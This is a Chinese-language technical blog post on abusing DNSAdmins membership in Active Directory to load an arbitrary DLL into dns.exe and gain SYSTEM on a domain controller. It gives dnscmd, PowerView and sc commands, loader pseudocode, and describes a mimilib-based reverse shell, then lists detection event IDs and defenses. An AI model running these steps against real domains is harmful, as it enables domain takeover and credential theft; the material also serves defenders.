滥用DNSAdmins权限进行Active Directory提权
0x00 前言
除了在实现自己的DNS服务器功能之外,Microsoft还为该服务器实现自己的管理协议以便于管理与Active Directory域集成。默认情况下,域控制器也是DNS服务器; 大多数情况下每个域用户都需要访问和使用DNS服务器的功能。反过来,这会在域控制器上暴露出相当多的攻击面:一方面是DNS协议本身,另一方面是管理协议,它基于RPC。我们将深入研究DNS协议的实现并详细介绍一个非常棒的提权技巧。它允许我们在某些情况下不是域管理员在域控制器上也可以运行危险代码,虽然这并不是一个安全漏洞,正如微软所证实的那样,它仅仅只是一个功能的技巧,可以提供给红队进行AD权限提权。
通过阅读微软官方文档([MS-DNSP],
https://msdn.microsoft.com/en-us/library/cc422504.aspx)收集相关的信息,并使用IDA对dns.exe进行二进制文件逆向分析。
0x01 DNS服务器管理协议基础知识
指定域名服务(DNS)服务器管理协议,该协议定义提供远程访问和管理DNS服务器的方法的RPC接口。它是基于RPC的客户端和服务器协议,用于配置,管理和监视DNS服务器。管理协议层位于RPC之上,可以在TCP或命名管道之上进行分层。如果您对协议或其实现原理感兴趣,可以在域控制器的c:\windows\system32\dns.ex下的中找到它。它的RPC接口UUID值是50ABC2A4-574D-40B3-9D66-EE4FD5FBA076,它使用\ PIPE \ DNSSERVER命名管道进行传输。
DNS服务器作为域控制器上运行的服务。可以通过运行命令dnsmgmt.msc连接到AD DNS服务器(通常是域控制器)来打开访问管理界面。它允许用户配置DNS区域,查找,缓存,转发和日志记录等信息。可以确保此结构中的多个对象包括DNS服务器对象(不是计算机帐户),区域对象和记录。在这种情况下,我们对dns服务器对象感兴趣,其全新安装的规则策略如下图所示:
默认情况下,只有DnsAdmins,Domain Admins,Enterprise Admins,Administrators和ENTERPRISE DOMAIN CONTROLLERS组对此对象具有写入权限。值得注意的是,从攻击者的角度来看,如果假如我们是每个组的成员不是属于DnsAdmins组,但可以对DNS具有读写权限的DnsAdmin用户,那么,让我们看看如果我们自己有一个DnsAdmin我们可以做些什么。
0x02 滥用DNSAdmins权限问题
·DNS管理是通过RPC执行的(UUID是50ABC2A4-574D-40B3-9D66-EE4FD5FBA076),传输机制是\ PIPE \ DNSSERVER命名管道。
·根据Microsoft协议规范,可通过“ServerLevelPluginDll”进行加载可选择的dll(没有验证dll路径)。
·dnscmd.exe已实现此功能:
dnscmd.exe /config /serverlevelplugindll \\path\to\dll
·以DNSAdmins成员的用户身份执行此dnscmd.exe命令时,将注册以下注册表键值:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll
·重新启动DNS服务将在此远程路径中加载DLL; 但是,DLL需要包含“DnsPluginInitialize,DnsPluginCleanup或DnsPluginQuery导出的功能”。
·DLL只需要在域控制器的计算机帐户能够可以访问的网络共享主机上。
请注意Mimikatz包含一个可以自定义的DLL(GitHub上的源代码),因此可以在DNS服务启动时更新要加载的Mimikatz DLL,并监视将凭据转储到攻击者可能拥有访问读取的位置。
0x03
模糊测试ServerLevelPluginDll
消息处理事件和排序规则,基本上详细说明了服务器需要支持的所有操作。第一个是R_DnssrvOperation,它包含一个pszOperation参数,用于确定服务器执行的操作。向下滑动可浏览可能的pszOperation值的列表如下:
可以看到服务器只加载我们选择的DLL。在搜索ServerLevelPluginDll的使用说明信息后,可发现以下有用的信息:
看起来服务器甚至没有对此操作中指定的dll路径进行任何验证。在开始实施之前,使用谷歌搜索ServerLevelPluginDll相关资料但并有可有的信息,但它确实弹出了有用的dnscmd命令行工具。
幸运的是,dnscmd已经实现了我们需要的一切。快速浏览一下它的帮助信息,也可以参考https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/dnscmd
命令选项如下:
dnscmd.exe
/config /serverlevelplugindll \\path\to\dll
首先,尝试将此作为普通域用户运行,对DNS服务器对象没有特殊权限(Generic Read除外,它授予Pre-Windows 2000 Compatible Access组的所有成员,默认情况下包含Domain Users组),该命令执行失败并显示拒绝访问的信息。如果我们为普通用户提供对服务器对象有写访问权限时,则该命令可以执行成功。这意味着DnsAdmins组的成员可以成功运行此命令。
在我们的DC上运行进程监视器和进程资源管理器时,尝试在运行有DnsAdmins成员的域计算机上运行它,我们看到并没有DLL被加载到dns.exe的地址空间中,正如预期的那样。但是,我们确实看到以下注册表项已写入了我们发送的路径:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll
现在,出于测试目的,我们重新启动DNS服务器服务,但是它却无法启动,清除注册表项值允许它启动。显然它需要我们的DLL更多的东西。
在这种情况下,有几种可能性可以快速达到我们寻求的功能
:通过IDA搜索相关字符串并搜索相关API,它通常是最简单和最快捷的方法。在我们的例子中:LoadLibraryW或GetProcAddress为我们提供了我们需要的东西 - 通过LoadLibraryW的DLL函数代码和调用它的函数,我们看到路径上根本没有验证执行ServerLevelPluginDll。
我们遇到的问题确实是唯一的:如果DLL无法加载或者它不包含DnsPluginInitialize,DnsPluginCleanup或DnsPluginQuery,该服务将无法启动。我们还需要确保我们的导出都返回0(成功返回值),否则它们也可能导致服务失败。
负责加载DLL的函数的伪代码大致如下:
HMODULE hLib;
if(g_pluginPath && * g_pluginPath){
hLib = LoadLibraryW(g_pluginPath);
g_hndPlugin = hLib;
if(!hLib){... log并返回错误...} g_dllDnsPluginInitialize = GetProcAddress(hLib,“DnsPluginInitialize”);
if(!g_dllDnsPluginInitialize){... log and return error ...}
g_dllDnsPluginQuery = GetProcAddress(hLib,“DnsPluginQuery”)
if(!g_dllDnsPluginQuery){... log and return error ...}
g_dllDnsPluginCleanup = GetProcAddress(hLib, “DnsPluginCleanup”)
if(!g_dllDnsPluginCleanup){... log and return error ...} if(g_dllDnsPluginInitialize){
g_dllDnsPluginInitialize(pCallback1,pCallback2);
}
}
这个POC用于演示如何在Visual Studio 2015下查看此类DLL的代码:
编译显示是用于将默认导出的名称修改为我们想要的名称。要验证我们的导出是否正常,我们可以使用 /exports path\to\dll
现在我们尝试使用我们的新dll和voila运行dnscmd,它的工作原理:我们所需要的只是将我们的dll放在一个网络路径上,该路径可由一个域控制器的计算机帐户访问(dns.exe在SYSTEM下运行)(Everyone SID的读访问权应该可以完成)。
虽然这表明如果您是DnsAdmins的成员,可以接管管理DNS的权限,但并不仅限于此:我们需要成功完成这一提权技巧的是一个具有对DNS服务器对象的写访问权限的帐户。根据我的经验,这些对象的ACL通常不像域管理员(或受AdminSDHolder保护的类似组)的ACL那样受到监控,从而为不显眼的普通域用户提升特权提供了很好的机会。
正如官方资料所述,这应适用于所有最新的Windows Server版本:
微软的MSRC已经就此问题进行了问题跟踪,并表示将通过基本上只允许DC管理员更改ServerLevelPluginDll注册表项权限来修复它,并且可以在将来的版本中关闭此功能。
无论如何,dns.exe目前仍然是以SYSTEM身份运行并受到危险的攻击,因此对于某些模糊测试者来说它可能是一个值有用的利用点。
0x04 DNS提权为AD域管理员实例
其中作为DNSAdmins组成员或具有DNS服务器对象的写权限的用户可以在DNS服务器上加载具有SYSTEM权限的任意DLL。因为,许多企业设置也使用域控制器(DC)作为DNS服务器,让我们看看这个功能的实际用法。
这里搭建实验来进行验证,其中我们通过一个普通域用户(labuser)进行初始访问AD域(DNS和AD是同一台服务器)。
让我们首先使用PowerView枚举属于DNSAdmins组的用户信息
PS C:\>Get-NetGroupMember -GroupName "DNSAdmins"
在真正的红队或pentest中,下一步是攻击的是buildadmin用户。我们可以使用PowerView的Invoke-UserHunter找到一个可以使用buildadmin 访问DNS服务器的认证票据。
PS C:\>Invoke-UserHunter -UserName buildadmin(在bulidamin用户的主机上执行获取访问DNS的令认证票据)
我们假设我们找到了这个认证票据,其中buildadmin的票据可用,我们当前的用户(labuser)也具有本地管理员访问权限。因此,我们拥有DNSAdmins组成员的用户的权限。
现在,可能有两种情况:一种既是DC服务器也是DNS服务器,另一种是单独的服务器作为DNS服务器。
对于第一种情况,DNS服务器服务在DC上运行,我们可以简单地使用dnscmd工具来加载dll。还有一个PowerShell模块的dnsserver -但是没有详细使用记录。
我们可以使用以下命令远程加载DLL。UNC路径\\ ops-build \ dll应该可由DC读取。
PS C:\> dnscmd ops_dc /config /serverlevelplugindll \\ops-build\dll\mimilib.dll (普通域帐号具有访问DNS并且有写入权限的用户在DNS上进行提权)
对于调试(目标上需要管理员权限),可以使用以下命令检查DLL是否已成功添加到目标上
PS C:\>Get-ItemProperty
现在,由于获取的用户buildadmin属于DNSAdmins组,我们可以重新启动DNS服务。虽然这不是默认配置,但这样的用户有权重新启动DNS服务。
C:\> sc \\ops-dc stop dns
C:\> sc \\ops-dc start dns
那么在成功执行上述命令后我们会获取到什么?Benjamin 很快更新了mimilib,用于此攻击。在此攻击中使用的更新版本mimilib将所有DNS查询记录到C:\Windows\system32\kiwidns.log中。
我们可以对kdns.c进行更改为包含远程命令执行功能。我包含了一行简单的代码使用Nishang的Invoke-Encode编码的混淆PowerShell shell。为DNS服务的每个查询执行有效负载,仍然会创建并写入到kiwidns.log
在监听服务器上可以反弹出远程服务器(dc)的shell:
可以成功看到获取到域控制器上的SYSTEM权限。
对于我们的第二种情况,如果DNS服务没有在DC上运行,我们仍然可以利用“仅”DNSAdmins的权限的用户并重新启动DNS服务中获得SYSTEM访问权限。
如何检测攻击?
要防止攻击,请查看获取DNS服务器对象的写权限和DNSAdmins组的成员身份策略。
DNS服务重启和一对日志信息显示:DNS服务器日志事件ID
150表示失败,770表示成功
执行成功和失败的Microsoft-Windows-DNS-Server / Audit Log事件ID
541
监视注册表的HKLM:\ SYSTEM \ CurrentControlSet \ services
\ DNS \ Parameters \ ServerLevelPluginDll值也会有所帮助。
0x05
防御措施
·确保只具有管理员帐户是DNSAdmins组的成员,并确保仅管理员具有管理系统DNS的权限。
·定期查看没有特权访问权限的任何组/帐户的DNS服务器对象权限策略设置是否正确。
·将RPC与DC的通信限制为仅限管理员访问的子网。
·只允许DC管理员更改ServerLevelPluginDll注册表项的权限。
滥用DNSAdmins权限进行Active Directory提权的更多相关文章
- kali权限提升之本地提权
kali权限提升之本地提权 系统账号之间权限隔离 操作系统的安全基础 用户空间 内核空间 系统账号: 用户账号登陆时候获取权限令牌 服务账号无需用户登录已在后台启动服务 windows用户全权限划分: ...
- Active Directory中获取域管理员权限的攻击方法
Active Directory中获取域管理员权限的攻击方法 译:by backlion 0x00 前言 攻击者可以通过多种方式在Active Directory中获得域管理员权限, ...
- kali权限提升之配置不当提权与WCE
kali权限提升之配置不当提权与WCE 1.利用配置不当提权 2.WCE 3.其他提权 一.利用配置不当提权 与漏洞提权相比更常用的方法 在大部分企业环境下,会有相应的补丁更新策略,因此难以通过相应漏 ...
- Active Directory网域
Active Directory网域 3.1Windows网络的管理方式 3.1.1工作组模式 工作组由一组用网络连接在一起的计算机组成,他们将计算机内的资源共享给用户访问.工作组网络也被称为“对等式 ...
- Windows提权总结
当以低权用户进去一个陌生的windows机器后,无论是提权还是后续做什么,第一步肯定要尽可能的搜集信息.知己知彼,才百战不殆. 常规信息搜集 systeminfo 查询系统信息 hostname 主机 ...
- 20165230田坤烨网络对抗免考报告_Windows系统提权
目录 KERNEL EXPLOITATION 服务攻击: DLL劫持 攻击 不安全的服务权限 探测 unquoted path未被引号标记的路径 探测 攻击 服务注册表键 探测 攻击 Named Pi ...
- vunlhub-DC-1-LinuxSuid提权
将靶场搭建起来 桥接看不到IP 于是用masscan 进行C段扫描 试试80 8080 访问之后发现是个drupal 掏出msf搜索一波 使用最近年限的exp尝试 exploit/unix/webap ...
- 常用webshell提权方法总结
pcAnywhere提权:1.利用pcAnywhere提权,前提条件是pcAnywhere默认安装到默认路径,以及它的目录安全权限有users权限,如果管理员删除了users和power users用 ...
- 新Windows本地提权漏洞学习(CVE-2019-0841)
1.这是一个啥漏洞? 睁眼一看,妈呀本地提权,快加入本地提权漏洞利用包里,速度加入.github连接我就不发了.担心被认为是传播黑客工具,咱们在这里单纯学习一下漏洞的原理和部分源代码. 2.文件读写权 ...
随机推荐
- SVN For Mac: Cornerstone.app破解版免费下载
Cornerstone.app下载地址 链接:https://pan.baidu.com/s/1kwQ65SBgfWXQur8Zdzkyyw 密码:rqe7 Cornerstone303 MAS.a ...
- 关于java调用Dll文件的异常 Native library (win32-x86-64/CtrlNPCDLL.dll) not found in resource pat
解决办法 将dll文件放入项目bin目录下
- 记一次开发人员的奇葩操作-------导致root用户不能登录
首先,我表示国庆长假被开发呼叫,是一件很不开心的事...... 1.问开发,是不是/etc/passwd文件被更改了? 回答:没有 还好是新装的服务器,还好哥有服务器管理口的远程控制 单用户模式 ...
- 基于Ubuntu+kodexplorer可道云的私有云网盘
1.可用的服务器:组装PC机一台,操作系统为Ubuntu 14.04 LTS,无桌面环境,放在机房,使用远程终端进行访问.有安装了Apache2,运行着svn服务.内网IP地址为192.168.0.1 ...
- java抽象类与接口区别
java抽象类与接口区别: abstract class和interface是Java语言中对于抽象类定义进行支持的两种机制,正是由于这两种机制的存在,才赋予了Java强大的面向对象能力. abstr ...
- dom学习要点
Dom操作 1.文本内容操作 - innerText:操作文本 - innerHtml:操作全内容 //innerText标签: <div id='i2' ><a>土味程序员& ...
- zip命令详解
基础命令学习目录首页 好文链接:https://www.cnblogs.com/yinzhengjie/p/6247833.html 原文链接:https://www.cnblogs.com/ferr ...
- passwd命令详解
基础命令学习目录首页 passwd命令用于设置用户的认证信息,包括用户密码.密码过期时间等.系统管理者则能用它管理系统用户的密码.只有管理者可以指定用户名称,一般用户只能变更自己的密码. 语法 pas ...
- [linux] lsyncd同步工具
环境说明: 192.168.56.101 同步源 192.168.56.102 同步目标 操作系统centos 7 lsyncd项目地址:https://github.com/axkibe/lsync ...
- 为什么每次进入命令都要重新source /etc/profile 才能生效?
https://segmentfault.com/q/1010000005981201